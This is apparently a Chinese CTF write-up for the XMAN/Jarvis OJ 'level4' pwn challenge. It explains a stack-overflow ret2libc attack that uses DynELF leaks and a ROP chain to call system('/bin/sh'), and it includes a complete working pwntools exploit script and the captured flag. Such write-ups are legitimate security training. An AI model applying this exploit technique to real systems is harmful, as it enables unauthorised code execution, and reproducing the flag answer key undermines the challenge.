XMAN-level4

Posted 2020-10-22 L1B0@10.0.0.55

Dynamic_debugging

[XMAN] level4

首先checksec，信息如下

[*] \'/root/Desktop/bin/pwn/xman-level4/level4\'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

没开栈保护，于是考虑栈溢出。

刚做完stack(ret2libc)，看到这题直接就想到泄露libc版本，一开始尝试和stack一样的做法，即泄露read和write函数的地址从而找到远程libc的版本，但是试了一发发现找不到libc版本。。。

然后就用DynELF，得到system的真实地址。用read函数将\'/bin/sh\\x00\'写入bss段，然后通过三次pop调用system函数，参数使用bss地址，即system(\'/bin/sh\')。

exp如下

#!/usr/bin/python
# -*- coding: utf-8 -*-
__Author__ = "LB@10.0.0.55"

from pwn import *
#context.log_level = "debug"

#io = process(\'./level4\')
io = remote(\'pwn2.jarvisoj.com\', 9880)
elf = ELF(\'./level4\')
#libc = ELF(\'/lib/i386-linux-gnu/libc.so.6\')

#get_system_addr
write_plt = elf.plt[\'write\']
write_got = elf.got[\'write\']
main_addr = elf.symbols[\'main\']

def leak(address):

	payload = flat([\'a\'*0x88+\'f**k\', write_plt, main_addr, 1, address, 4])
	io.sendline(payload)
	data = io.recv(4)
	return data

dynelf = DynELF(leak, elf=ELF(\'./level4\'))
sys_addr = dynelf.lookup(\'system\', \'libc\')
print \'system_addr:\', hex(sys_addr)

#get_the_shell
bss_addr = 0x0804A024
read_plt = elf.plt[\'read\']
#ROPgadget --binary level4  --only "pop|ret"
ppp_addr = 0x08048509

payload = flat([\'a\'*0x88+\'f**k\', read_plt, ppp_addr, 0, bss_addr, 8, sys_addr, 0xdeadbeef, bss_addr ])
io.sendline(payload)
io.sendline(\'/bin/sh\\x00\')

io.interactive()
#flag:CTF{882130cf51d65fb705440b218e94e98e}

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